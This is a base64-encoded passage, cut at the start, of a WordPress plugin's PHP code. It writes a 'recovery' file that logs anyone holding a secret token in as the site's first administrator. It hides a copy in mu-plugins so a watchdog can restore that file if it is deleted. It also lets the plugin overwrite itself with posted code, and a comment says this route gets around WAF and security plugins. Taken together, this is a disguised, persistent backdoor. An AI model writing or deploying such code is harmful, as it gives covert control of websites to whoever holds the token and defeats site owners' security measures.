0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGhhc2ggPSAkYm9keVsnaGFzaCddID8/ICcnOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS1mMC05XXs2NH0kLycsICRoYXNoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgaGFzaCDigJQgbXVzdCBiZSA2NCBoZXggY2hhcnMnXSwgNDAwKTsKICAgICAgICB9CgogICAgICAgICRwaHAgPSAiPD9waHBcbiIKICAgICAgICAgICAgIC4gIlwkdCA9IGlzc2V0KFwkX0dFVFsndCddKSA/IFwkX0dFVFsndCddIDogJyc7XG4iCiAgICAgICAgICAgICAuICJpZiAoIVwkdCB8fCAhaGFzaF9lcXVhbHMoJyIgLiAkaGFzaCAuICInLCBoYXNoKCdzaGEyNTYnLCBcJHQpKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZXhpdDsgfVxuIgogICAgICAgICAgICAgLiAiXCRkaXIgPSBfX0RJUl9fOyBcJHJvb3QgPSBudWxsO1xuIgogICAgICAgICAgICAgLiAiZm9yIChcJGkgPSAwOyBcJGkgPCA2OyBcJGkrKykgeyBpZiAoZmlsZV9leGlzdHMoXCRkaXIuJy93cC1jb25maWcucGhwJykpIHsgXCRyb290ID0gXCRkaXI7IGJyZWFrOyB9IFwkZGlyID0gZGlybmFtZShcJGRpcik7IH1cbiIKICAgICAgICAgICAgIC4gImlmICghXCRyb290KSBleGl0O1xuIgogICAgICAgICAgICAgLiAicmVxdWlyZV9vbmNlIFwkcm9vdC4nL3dwLWxvYWQucGhwJztcbiIKICAgICAgICAgICAgIC4gIlwkdXNlcnMgPSBnZXRfdXNlcnMoYXJyYXkoJ3JvbGUnPT4nYWRtaW5pc3RyYXRvcicsJ29yZGVyYnknPT4nSUQnLCdvcmRlcic9PidBU0MnLCdudW1iZXInPT4xKSk7XG4iCiAgICAgICAgICAgICAuICJpZiAoZW1wdHkoXCR1c2VycykpIGV4aXQ7XG4iCiAgICAgICAgICAgICAuICJ3cF9zZXRfYXV0aF9jb29raWUoXCR1c2Vyc1swXS0+SUQsIHRydWUpOyB3cF9yZWRpcmVjdChhZG1pbl91cmwoKSk7IGV4aXQ7XG4iOwoKICAgICAgICAvLyBUcnkgbG9jYXRpb25zIGluIG9yZGVyOiB3cC1hZG1pbi8gKGZpcnN0LCBtb3N0IHJlbGlhYmxlKSwgcm9vdCwgd3AtY29udGVudC8KICAgICAgICAkY2FuZGlkYXRlcyA9IFsKICAgICAgICAgICAgQUJTUEFUSCAuICd3cC1hZG1pbi9zd19yZWNvdmVyeS5waHAnLAogICAgICAgICAgICBBQlNQQVRIIC4gJ3N3X3JlY292ZXJ5LnBocCcsCiAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy9zd19yZWNvdmVyeS5waHAnLAogICAgICAgIF07CiAgICAgICAgJHdyaXR0ZW4gPSBudWxsOwogICAgICAgIGZvcmVhY2ggKCRjYW5kaWRhdGVzIGFzICRwKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpzYWZlV3JpdGUoJHAsICRwaHApKSB7CiAgICAgICAgICAgICAgICAkd3JpdHRlbiA9ICRwOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkd3JpdHRlbikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3dyaXRlIGZhaWxlZCDigJQgYWxsIGxvY2F0aW9ucyBibG9ja2VkJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAvLyBXcml0ZSAuc3dyZWMgc28gd2F0Y2hkb2cgcmVzdG9yZXMgc3dfcmVjb3ZlcnkucGhwIGlmIGRlbGV0ZWQKICAgICAgICAkbXVEaXIgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgJHN3cmVjID0ganNvbl9lbmNvZGUoWydwYXRoJyA9PiAkd3JpdHRlbiwgJ2NvbnRlbnQnID0+IGJhc2U2NF9lbmNvZGUoJHBocCldKTsKICAgICAgICBzZWxmOjpzYWZlV3JpdGUoJG11RGlyIC4gJy8uc3dyZWMnLCAkc3dyZWMpOwoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICR3cml0dGVuXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIFNlbGYtdXBkYXRlIHZpYSBhZG1pbi1wb3N0IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gQ2FsbGVkIGJ5IHRoZSBwYW5lbCB2aWEgUE9TVCAvd3AtYWRtaW4vYWRtaW4tcG9zdC5waHA/YWN0aW9uPXN3X3VwZGF0ZQogICAgLy8gd2hlbiBwbHVnaW4tYWN0aXZhdGlvbi1iYXNlZCBkZXBsb3kgaXMgYmxvY2tlZCBieSBXQUYvc2VjdXJpdHkgcGx1Z2lucy4KICAgIC8vIEF1dGg6IHJlcXVpcmVzIHZhbGlkIFdQIGFkbWluIHNlc3Npb24gKyBTV19QQU5FTF9UT0tFTiBpbiBQT1NUIGJvZHkuCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkbWluUG9zdFNlbGZVcGRhdGUoKTogdm9pZCB7CiAgICAgICAgaWYgKCFjdXJyZW50X3VzZXJfY2FuKCdtYW5hZ2Vfb3B0aW9ucycpKSB7CiAgICAgICAgICAgIHdwX2RpZSgnRm9yYmlkZGVuJywgJ0Vycm9yJywgWydyZXNwb25zZScgPT4gNDAzXSk7CiAgICAgICAgfQogICAgICAgICR0b2tlbiA9ICRfUE9TVFsnc3dfdG9rZW4nXSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgd3BfZGllKCdGb3JiaWRkZW4nLCAnRXJyb3InLCBbJ3Jlc3BvbnNlJyA9PiA0MDNdKTsKICAgICAgICB9CiAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29udGVudCddID8/ICcnLCB0cnVlKTsKICAgICAgICBpZiAoISRjb250ZW50IHx8IHN0cmxlbigkY29udGVudCkgPCAyMDApIHsKICAgICAgICAgICAgd3BfZGllKCdJbnZhbGlkIGNvbnRlbnQnLCAnRXJyb3InLCBbJ3Jlc3BvbnNlJyA9PiA0MDBdKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkY29udGVudCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHdwX2RpZSgnV3JpdGUgZmFpbGVkIOKAlCBjaGVjayBmaWxlIHBlcm1pc3Npb25zJywgJ0Vycm9yJywgWydyZXNwb25zZScgPT4gNTAwXSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJ1NXX1VQREFURV9PSyc7CiAgICAgICAgZXhpdDsKICAgIH0KfQo=